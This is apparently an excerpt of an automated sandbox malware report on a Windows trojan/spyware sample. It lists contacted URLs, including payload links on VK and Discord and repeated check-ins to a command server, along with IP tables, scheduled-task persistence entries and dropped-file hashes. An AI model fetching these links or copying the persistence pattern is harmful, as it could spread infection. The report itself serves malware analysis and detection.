https://st6-23.vk.com/dist/web/jobs_devtools_notification.063ca481b5b6da7c2e3b.js?8d6f1578d61ad984a0	fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://sun6-21.userapi.com/l	fJe9em23BB.exe, 00000000.00000003.277184919.0000000003BC4000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.fontbureau.comM.TTF	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541332040.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541854556.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541064499.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.542093253.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541640981.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.540695820.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.541945261.0000000009C90000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.540531732.0000000009C90000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://static.vk.me	fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295368326.00000000050F1000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.hhiuew33.com/check/?sid=2606371&key=e5566572a7c8023d20e6ce450dd3aa53	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.766823921.000000000063C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://sun6-20.userapi.com/c236331/u743379129/docs/d26/059051d765db/setup1.bmp?extra=cKjpvqfNskqSW0	fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295368326.00000000050F1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289563663.0000000003C1A000.00000004.00000001.00020000.00000000.sdmp	false		high
https://st6-23.vk.com/css/al/ui_common.f84b667095c1513ae4a5.css	fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.hhiuew33.com/check/?sid=2604025&key=96305e476386bdb22774f6b9947f02bf	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.628866400.0000000000631000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.605453620.0000000000647000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cnx%	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.499759446.0000000009C8D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.zhongyicts.com.cnue	GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.504368785.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp, GWafJDbetTJK0ciVGh5n0Df1.exe, 0000000D.00000003.505391975.0000000009C8F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.hhiuew33.com/check/safeB13N2A7ORi	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.581800860.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.571519928.0000000000669000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.584328535.0000000000669000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/?sid=2600721&key=8b32a3670752c2f50e21ffe8ff66e6cbu	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.399762873.00000000027B0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://st6-23.vk.com/dist/web/unauthorized.87ce256ec55e2e3e5ca3.js?b414b642420ac2730c4b22b7d77ad654	fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.hhiuew33.com/check/?sid=2601145&key=b91e6c918507ce8fc7e06b500f3ea863sZ	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.433829703.00000000027B0000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/?sid=2603345&key=a56d5e5f0e53c7a983c10dc0379be11a	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.564640029.000000000064D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.coww.hhiuew33.com/	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.793285434.00000000027A6000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ampproject.org	fJe9em23BB.exe, 00000000.00000003.292678233.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291573212.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.295766670.000000000511A000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.292021130.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.304665978.0000000003BEF000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289492230.0000000003BDC000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.discordapp.com/attachments/738909412961550448/999676559776546917/WW20_2022-07-19_10-19.b	fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.hhiuew33.com/check/?sid=2605797&key=27a1a2df4b048541a141fd73042e2ee3	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.722368250.000000000063F000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.728934314.000000000064C000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.728560478.0000000000646000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.733909373.0000000000647000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.726807487.000000000063F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://ipgeolocation.io/	ze5tCopHgrlItmsTQGIZcUK1.exe	false	URL Reputation: safe	unknown
https://st6-23.vk.com/css/al/common.d0bace0245d69f96566f.css	fJe9em23BB.exe, 00000000.00000003.291919370.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291511915.0000000003BA7000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://st6-23.vk.com/dist/vendors.58b0ef8496b2902facdb.js?df689e243b41e80f0e6a	fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.hhiuew33.com/check/?sid=2602645&key=ae85e79342b3664ea4c2f29bdcafcf5dWj	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.525321775.000000000064A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/?sid=2605381&key=be18fc13605db7a9c2e1ebdeb3bda96b	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.694558950.000000000064C000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.691831928.000000000063B000.00000004.00000020.00020000.00000000.sdmp, VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000003.693386261.0000000000644000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://st6-23.vk.com/dist/69cbb29d1f77a86f9937b18d5913dcf6.9740ec066bc47af726fd.js?93d5384af0fc4d0e	fJe9em23BB.exe, 00000000.00000003.290080376.0000000005168000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.266799872.0000000003B72000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289169353.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289999867.00000000052F5000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.hhiuew33.com:80/check/safe2606519&key=3a2b272a5f9274b5d5889271f55c9281Z0lpSXNJQ0oxYVdRaU9	VSVo7xFGZNVBCHvpzHHk7X6w.exe, 0000000F.00000002.778503158.00000000005DA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
85.209.157.230	tg8.cllgxx.com	Netherlands	18978	ENZUINC-US	false
94.228.116.72	unknown	Russian Federation	61333	ASTRALUSDE	false
116.203.105.117	unknown	Germany	24940	HETZNER-ASDE	true
87.240.132.78	vk.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
149.154.167.99	telegram.org	United Kingdom	62041	TELEGRAMRU	false
62.204.41.123	unknown	United Kingdom	30798	TNNET-ASTNNetOyMainnetworkFI	false
162.159.130.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
95.142.206.0	sun6-20.userapi.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
89.208.104.172	unknown	Russian Federation	42569	PSKSET-ASRU	false
95.142.206.2	sun6-22.userapi.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
148.251.234.83	iplogger.org	Germany	24940	HETZNER-ASDE	false
95.142.206.1	sun6-21.userapi.com	Russian Federation	47541	VKONTAKTE-SPB-AShttpvkcomRU	false
91.103.219.221	smartectechnologies.com	United Kingdom	198047	UKWEB-EQXGB	false
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
104.21.40.196	v.xyzgamev.com	United States	13335	CLOUDFLARENETUS	false
5.252.118.33	unknown	Russian Federation	197068	QRATORRU	false
89.185.85.53	unknown	Russian Federation	41757	OLIMP-SVYAZ-ASRU	false
163.123.143.4	unknown	Reserved	1767	ILIGHT-NETUS	false
107.182.129.251	unknown	Reserved	11070	META-ASUS	false
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
172.217.168.36	www.google.com	United States	15169	GOOGLEUS	false
212.193.30.115	unknown	Russian Federation	57844	SPD-NETTR	false
172.67.188.70	unknown	United States	13335	CLOUDFLARENETUS	false
148.251.234.93	iplis.ru	Germany	24940	HETZNER-ASDE	false
208.67.104.97	unknown	United States	20042	GRAYSON-COLLIN-COMMUNICATIONSUS	true
45.136.151.102	www.hhiuew33.com	Latvia	18978	ENZUINC-US	false
172.67.147.230	1landota.click	United States	13335	CLOUDFLARENETUS	false
34.142.181.181	g.agametog.com	United States	2686	ATGS-MMD-ASUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	696549
Start date and time:	2022-09-02 14:01:13 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 16m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	fJe9em23BB.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	45
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@53/73@26/29
EGA Information:	Successful, ratio: 66.7%
HDC Information:	Successful, ratio: 43.6% (good quality ratio 40.1%) Quality average: 77.7% Quality standard deviation: 30.5%
HCA Information:	Successful, ratio: 57% Number of executed functions: 127 Number of non-executed functions: 96
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, ctldl.windowsupdate.com, settings-win.data.microsoft.com, arc.msn.com
Execution Graph export aborted for target VSVo7xFGZNVBCHvpzHHk7X6w.exe, PID 6376 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:03:01	API Interceptor	54x Sleep call for process: VSVo7xFGZNVBCHvpzHHk7X6w.exe modified
14:03:21	API Interceptor	4x Sleep call for process: lxZuX__vSUgWYReh9N0WlQOa.exe modified
14:04:46	Task Scheduler	Run new task: Shell Infrastructure Host Task {H5J7S8H9D6-2S6E8R2K4-8G6M3C2D3E} path: C:\Users\user\AppData\Roaming\Windows\System32\sihost.exe
14:05:10	Task Scheduler	Run new task: PowerControl HR path: C:\Program s>Files (x86)\PowerControl\PowerControl_Svc.exe
14:05:10	Task Scheduler	Run new task: PowerControl LG path: C:\Program s>Files (x86)\PowerControl\PowerControl_Svc.exe
14:06:14	API Interceptor	1x Sleep call for process: GWafJDbetTJK0ciVGh5n0Df1.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe

Download File

Process:	C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	410112
Entropy (8bit):	6.362808688244883
Encrypted:	false
SSDEEP:	6144:NrkuBHTtY9Jgfq80nzm5tBD2AsG8x0Ca0Hv06A0md0OUGHLzmijOceK2HSw3pXqC:NrkIT/y8T5PVsSnXOc+HSQJKLw
MD5:	9519C85C644869F182927D93E8E25A33
SHA1:	EADC9026E041F7013056F80E068ECF95940EA060
SHA-256:	F0DC8FA1A18901AC46F4448E434C3885A456865A3A309840A1C4AC67FD56895B
SHA-512:	DCC1DD25BBA19AAF75EC4A1A69DC215EB519E9EE3B8F7B1BD16164B736B3AA81389C076ED4E8A17A1CBFAEC2E0B3155DF039D1BCA3C7186CFEB9950369BCCF23
Malicious:	true
Yara Hits:	Rule: MALWARE_Win_DLInjector06, Description: Detects downloader / injector, Source: C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........H\.i.\.i.\.i...j.V.i...l...i...m.M.i...j.J.i...l.w.i...m.I.i...h.U.i.\.h. .i...`.Y.i.....].i...k.].i.Rich\.i.........................PE..L...S..b.................Z...................p....@.......................................@.................................8...d....@.......................P...&..\...8...............................@............p...............................text.../Y.......Z.................. ..`.rdata..F....p.......^..............@..@.data........ ......................@....rsrc........@......................@..@.reloc...&...P...(..................@..B................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\ccSearcher\ccsearcher.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	4505597
Entropy (8bit):	5.627430028659018
Encrypted:	false
SSDEEP:	49152:NHNYtvYtzYtFYtbYthYt7z+gV50E7u3epXWi8a+MXgB+:f+gVyxOpd9QB+
MD5:	0545F55B7F65691C450919EE98E9C6B8
SHA1:	C8F38ECDC90A4CE2B18F19F15A4E379A721D9A0F
SHA-256:	8338B9F05765B0DDB973EAF84159868E6A1389A0172EA70FD32E30F39CF2B3E8
SHA-512:	C9228888265F3BBDF846C5FB3B210AD85A494040BD28CD46F225B728D77B77C0A4A6428DFC1D724486BA955A75DE1EABAE4B6DF64552A26318A6DE0AB21B92A6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...s..c.........."..........p......`.............@...........................$.....................................................................................................................................................................text....~..........................!..`.od3b8e..*.......0..................A..A.pd3b8f.............................@....qd3b90.............................@....rsrc.... ....... ..................@..A.react2...+.......+.................`...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\ccSearcher\checksums.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	356
Entropy (8bit):	4.884558011565004
Encrypted:	false
SSDEEP:	6:AySGO4KS/x4L8ThcSRFLk6XDuwOyoExvWmFuQUqvJrdt6YAhlAjyIDHAUXV4:Ayf3WPSPLkP/fEFWm/5v3t/byGgH
MD5:	461D6293779BDEF19493C351344F2B71
SHA1:	C441B7DAA5ABF8A2872D55F47585657147451C72
SHA-256:	0C2BD3D1AEB04523291BC72424C802E36C1733E0B72FA775B9DD0A4E9CADE263
SHA-512:	D41DBDF10A61CEDE90D68F1F7E351D9DA441026F7CF9C12AB6ADA017B185455DDBFED74760A3DD3D67ED10A9B1915E79F6ACFF70850B626C68CB1E2B22FC9C25
Malicious:	false
Reputation:	unknown
Preview:	All checksum in MD5....completed.wav..8e46be5a4155710361181e3b67373404..history.rtf..1bfcde2b3d557cfb8b9004055d3a90f5..license_en.rtf..1ae62f00fc368364a2de668b3299d793..license_ru.rtf..fe7c9c6f6e8f720f886bcc65fa2d9b20..nsearcher.exe..c5e7acbda2f8bfa49bd9580120aac7b2..reset.bat..aaa149e55ddae6393fe099990747da94..unins.ico..b8ed55bf81883d2becf23fc020585214

C:\Program Files (x86)\ccSearcher\completed.wav (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz
Category:	dropped
Size (bytes):	272134
Entropy (8bit):	6.156729185977344
Encrypted:	false
SSDEEP:	6144:TNKofL3cEjxCryOOYJH+8a1anwxrcSOQmlBkO+kKo:TNNzsEjxCryOOYvbnwxrcewf+1o
MD5:	8E46BE5A4155710361181E3B67373404
SHA1:	18A19A04DD6E4BFE6731E6978F2CB295E1C52174
SHA-256:	32AB0D1DF26B0DCFE78D393A1F2534D1DAA5BABC6980017303ED925682CE19D0
SHA-512:	5497EEF00048125D67551FBF22747654D97903F0622830299792159DC8532013191FB006A832E7CE2B4383EE2EC67B7B7C1D06C25CF34EEB118D050AC89DC3B7
Malicious:	false
Reputation:	unknown
Preview:	RIFF.&..WAVEfmt ........D.............LIST....INFOIART.... ..ICMT....mp3cut.ru ..ICRD.... ..INAM.... ..IPRD.... ..IPRT....1.ISFT....Lavf55.22.100.data.&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\ccSearcher\history.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	Rich Text Format data, version 1, unknown character set
Category:	dropped
Size (bytes):	44381
Entropy (8bit):	4.886111144563166
Encrypted:	false
SSDEEP:	384:zDkO4WdW2OTYn/akuhSm9eDAmWZJ6Sr82Zeo75Y3kpTBLRA6AlEayr:zDEDhSm9aHZ/6A92
MD5:	1BFCDE2B3D557CFB8B9004055D3A90F5
SHA1:	678353ADC2CACD12555EF12F5D94FC03CD07707E
SHA-256:	A8FBA72D4B1FB03EE40A9472430275499E361BBD74144D9956232EF2FDA0407A
SHA-512:	DF9FDB20B2054328431AA5F0D0014D949AF4BE3BFC0CB1E3D77BEDD4626DEEA83FDA259352765C04985087E260EB03FF7B337C1D4D54878EC210EFBEA6A36AD1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch0\stshfhich0\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Verdana;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Rom

C:\Program Files (x86)\ccSearcher\is-21CP5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	Rich Text Format data, version 1, unknown character set
Category:	dropped
Size (bytes):	44381
Entropy (8bit):	4.886111144563166
Encrypted:	false
SSDEEP:	384:zDkO4WdW2OTYn/akuhSm9eDAmWZJ6Sr82Zeo75Y3kpTBLRA6AlEayr:zDEDhSm9aHZ/6A92
MD5:	1BFCDE2B3D557CFB8B9004055D3A90F5
SHA1:	678353ADC2CACD12555EF12F5D94FC03CD07707E
SHA-256:	A8FBA72D4B1FB03EE40A9472430275499E361BBD74144D9956232EF2FDA0407A
SHA-512:	DF9FDB20B2054328431AA5F0D0014D949AF4BE3BFC0CB1E3D77BEDD4626DEEA83FDA259352765C04985087E260EB03FF7B337C1D4D54878EC210EFBEA6A36AD1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch0\stshfhich0\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Verdana;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Rom

C:\Program Files (x86)\ccSearcher\is-310AV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	Rich Text Format data, version 1, unknown character set
Category:	dropped
Size (bytes):	51922
Entropy (8bit):	4.912794307456054
Encrypted:	false
SSDEEP:	384:eA3cWBnPz+p/zWFHQ1Qp0SEW5FRLU+cB9nGog4jy6XFsa0eo75Y3kpTBLRA6AlE8:eAsuQ1IV75knFBV6ahZ/6A9r
MD5:	FE7C9C6F6E8F720F886BCC65FA2D9B20
SHA1:	2775F12A0BABDEE5CEEDB08452EF72732E49F13C
SHA-256:	B3F54F1D0C3EA747CC52BAD1B363815B9297088CACDF1398C8CFD7F8054CE2BB
SHA-512:	ABBFE43FBE4827C9CEDA8D1FDD3DB3B344E99E0CDC3512E4EF84F965F882BA5E3822A407AC1F974D1986F1CDA645A20C1D00CD16262200FE39574AEFF12F6A1A
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch0\stshfhich0\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Verdana;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman

C:\Program Files (x86)\ccSearcher\is-3EO63.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	Rich Text Format data, version 1, unknown character set
Category:	dropped
Size (bytes):	44011
Entropy (8bit):	5.026565347530582
Encrypted:	false
SSDEEP:	384:em3cWBnPz+p/zWFHQ1QDGteo75Y3kpTBLRA6AlEayF:emsuQ1WGIZ/6A9U
MD5:	1AE62F00FC368364A2DE668B3299D793
SHA1:	E4E32C3EDC269987E39FDC0883F589CECF9604B4
SHA-256:	F9FF5B54BB1EBEECCC4104A62E32CAB4556DD75A5F76260E720485D5CC39D7E8
SHA-512:	844F4116FD8FF13B144D6D16DE695F7600283DC0B573CAAB5AE74573301B235AC234CE59D1D30BE8FB8ABBA3DFD27EDF8C53A7E0CD5320C23008B5F354377527
Malicious:	false
Reputation:	unknown
